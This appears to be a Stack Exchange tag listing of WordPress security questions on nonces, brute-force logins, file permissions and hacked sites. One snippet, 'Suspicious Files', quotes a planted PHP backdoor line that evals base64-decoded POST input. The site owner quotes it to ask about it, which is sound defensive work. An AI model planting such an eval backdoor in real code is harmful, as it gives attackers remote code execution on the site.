Strengthening themes, plugins and core installation to prevent intrusion.

learn more… | top users | synonyms

12
votes
2answers
571 views

I found this in a plugin. What does it do? is it dangerous?

I found this in a plugin. What does it do? is it dangerous? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { ...
0
votes
1answer
43 views

Why do Metabox use Nonces?

Why is it advised for admin panel metaboxes to use nonces? Every example I see of creation and saving metabox data there are nonces involved but aren't nonces a bit unnecessary in this case?
3
votes
1answer
65 views

Do Cookies Need to be Sanatized Before Being Saved?

I recently wrote a plugin and now I'm backtracking a bit to sanitize any and all user input. I know that I should sanitize anything that comes from $_GET or $_POST as a user can insert malicious ...
1
vote
0answers
102 views

Can I Remove xmlrpc.php completely?

My site is getting a lot of malicious traffic to domain.com/xmlrpc.php, to the point that the server is not being able to handle it. I tried to disable it via the wp-config.php, by adding this line: ...
0
votes
2answers
31 views

Changing the default header name

Is it possible to change the default header.php file to something else for security reasons? It seems header.php is target for malicious attacks. I know all that, we have different named headers, I ...
0
votes
1answer
51 views

My website is getting too many dierect home arechives and this is increasing my bounce rate

My website is getting nearly 800 direct home archives daily, as a result the bounce rate of my website has increased. Usually i get only around 30 home archives a day These hits are not from Google, ...
1
vote
1answer
190 views

Securing my WordPress Files and Directories

I am new to WordPress and securely hosting it on Amazon EC2. My question is, how do I secure my WordPress files and directories properly? My file permissions are set to 644 and my directories are ...
1
vote
1answer
91 views

Is there a way to create a URL (new WP page) that can only be accessed from a specific source?

To explain further, here's what I"m looking to do: Create a WP page Use the URL and implement it in a reader service that is hosted (not downloadable) that in order to read (& access the URL) ...
0
votes
1answer
71 views

Can a WordPress administrator see other users' passwords?

Of course, an administrator in WordPress can reset other users' passwords (including that of other administrators). However, can a WordPress administrator see other users' passwords? Phrased ...
0
votes
0answers
29 views

False URL for shopping cart

OK. Re wording my question I have a digital product on a wordpress site Using a shopping cart I'm charging .99 cents for people to look at a video (going to charity) The cart directs them to a page ...
0
votes
1answer
48 views

Security and Must Use Plugins

From the codex article on Must Use Plugins: Can be enabled simply by uploading file to the mu-plugins directory, without having to log-in This feels like a potential security problem to me. ...
0
votes
1answer
429 views

How to rename the WordPress wp-login.php running on IIS6?

My Windows 2003 VPS recently hang due to bots hammering my WordPress login php non-stop for hours (determined from IIS6 logs). This caused MySQL to use up all the allocated 1G RAM. After resetting ...
5
votes
1answer
92 views

Close a wordpress blog - keep site as it is but prevent hacks

Last summer I created a travelling-blog on my webspace to document my journey. Now the journey is over and I won't put any new posts in this blog. I also don't whish to have any new comments. How can ...
0
votes
0answers
28 views

Malware installation during plugin update?

I update my wordpress blog daily (current version: WordPress 3.5.2). Today I installed an update of "Search everything". After that, my webspace was infected by malware. Interestingly, my blog is ...
2
votes
4answers
152 views

Will WordPress username displayed somewhere in the site?

I am considering enforcing all my users to use email as their login name. But I am afraid that the username is being used somewhere that is publicly accessible, e.g. author pages, such as that it will ...
3
votes
1answer
117 views

WordPress Capabilities: edit_user vs edit_users

The official documentation only mentions edit_users, but in the source I found many places are using edit_user, what is the difference? Are there any conventions for singular and plural capabilities? ...
1
vote
1answer
56 views

Security checking in meta_box save is reluctant?

For example, in this tutorial, the code suggested when saving meta box data is /* Verify the nonce before proceeding. */ if ( !isset( $_POST['smashing_post_class_nonce'] ) || !wp_verify_nonce( ...
0
votes
5answers
241 views

Prevent Brute Force Attack

I already used Limit Login Attempts wordpress plugin. Are there other ways to prevent brute force attacks? I'm worried because I saw a lot of locked out.
2
votes
1answer
2k views

Why Better WP security plugin returns 418 I'm a Teapot “error”?

I am working on the Wordpress website and all of a sudden after deploying it on the server, I started seeing a problem where some of the pages on my website return 418 I'm a Teapot as Response status ...
0
votes
0answers
126 views

Protect uploaded files in Wordpress 3.5 multisite

I have a multisite which I use for sharing private information (and files like pdf etc). Each client has its own 'site' example.com/client1, example.com/client2 etc I already set permissions to ...
0
votes
1answer
70 views

Form Post results in 404 Not Found [duplicate]

I am creating a POST-able form on the front-end of Wordpress (via a shortcode). If I submit this form without any input, the form submits fine. But as soon as I enter an data in the fields and POST ...
1
vote
2answers
203 views

Is Wordpress vulnerable to “comment posting forgery”?

I recently scanned my Wordpress site using 6scan's security scanning service. It reported a high severity vulnerability: "Wordpress comment posting forgery". Technical details from 6scan: The ...
1
vote
2answers
37 views

Secure Pages Best Practice

I am in process of writing a plugin that has front-end shortcodes that display a user's information/data. If the user is not logged in, I need to redirect to a front-end login page/form. What would ...
2
votes
3answers
95 views

How can I easily verify a core or plugin update has not broken anything?

I'm looking for ways to make updating WordPress less frightening for me. I created around 30 company websites based in WP in my career and I feel somewhat responsible for them in regards to security. ...
0
votes
2answers
169 views

WP Cron doesn't save <iframe> or <object> in post body

I am using wp_cron to auto grab posts from a remote website and save them in my wp db. NOTICE! I am executing my code from my plugin, not from my template functions.php or somewhere else. I have my ...
-1
votes
2answers
749 views

How to improve WordPress security by hiding non public facing files?

e.g. curl -I http://ma.tt/blog/wp-config.php 200 OK The wp-config.php is not public facing file, since it currently just return blank page, so why not return 404 instead. (so will not be cached by ...
0
votes
3answers
84 views

Why my plugins are updating automatically?

I have a wordpress site with a few plugins. I had to make some custom changes on a plugin (not a best practice), and of course I don't want to update that plugin. But for some reason all my plugins ...
0
votes
0answers
277 views

Core files changed - site hacked?

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed: WordPress core file modified: wp-content/plugins/akismet/admin.php WordPress ...
0
votes
2answers
97 views

How can I tell who changed the password?

We recently had an employee leave our company. When they left, I changed all their passwords and removed their email access etc. I also changed the password on our Wordpress site for the Admin ...
0
votes
0answers
27 views

Is [admin / admin] acceptable for all local websites?

Are there security issues with using the same credentials [admin / admin] for all client websites on a working, local server ?
0
votes
0answers
17 views

Brute force attack - how to tell if site has been compromised? [duplicate]

What is the best way to check if a site has been compromised? I'm assuming an attacked site won't show any "symptoms", correct? I've checked a few FTP directories and haven't seen anything, what else ...
0
votes
1answer
90 views

Trying to understand nature of hacking

Today we saw suddenly two files created in root folder in one of our wordpress websites - file name owp.php and gmail.html On investigating the access logs following entries were found which seem to ...
0
votes
1answer
60 views

Why does WordPress change a file's permissions?

If I set the permissions to the CSS file in my theme to 444 and then attempt to edit it in the Appearance Editor, WordPress is not prevented from editing the file and in fact change the permissions to ...
0
votes
0answers
15 views

Security permissions on controls added under Page Option

I am a total wordpress n00b, and am having issues understanding how the page security is applied. I have a page where I want to secure the content, so, in the page editor, I have ticked certain ...
4
votes
1answer
464 views

Should I remove install.php and install-helper.php?

Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644. If there is any leak, what kind ...
17
votes
2answers
5k views

Increase of failed login attempts, brute force attacks?

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
0
votes
1answer
127 views

Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?

I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like: <a>,<script>,etc. I then ...
0
votes
1answer
138 views

If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?

I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
1
vote
2answers
174 views

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in ...
-3
votes
5answers
2k views

Is it a bad idea to CHMOD 777 all the files on your site?

I think i heard that it might pose a security threat to your site, is that right? Makes it more vulnerable to it getting hacked? How should I undo this, which files should be chmod to what number?
0
votes
1answer
524 views

Changing admin user id for database

Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security. Thanks
2
votes
1answer
146 views

Protecting against malicious code in Wordpress plugin updates

One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013): ...
3
votes
2answers
90 views

Is it safe to assume that a nonce may be validated more than once?

From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours. Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
0
votes
1answer
48 views

How do I allow certain users to make a certain type of post?

Here's a brief summary of how my site is setup: I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
3
votes
1answer
114 views

Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?

Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
3
votes
1answer
178 views

Allow Profile HTML for select users

I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
1
vote
1answer
428 views

Moving wp-config.php up 2 levels

Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
0
votes
1answer
116 views

Data Validation, dynamically generated fields (select for example)

Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
0
votes
1answer
127 views

Is it safe use wp_editor in public contact form

I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field. Here is my question, is that safe use wp_editor in public though disable media ...
5
votes
3answers
858 views

Moving wp-config.php: Can this be done after site launch?

For additional security, the suggestion is made to move the wp-config.php up one level. Can this be done after the site has already been launched? Any potential issues in doing this? Are there an ...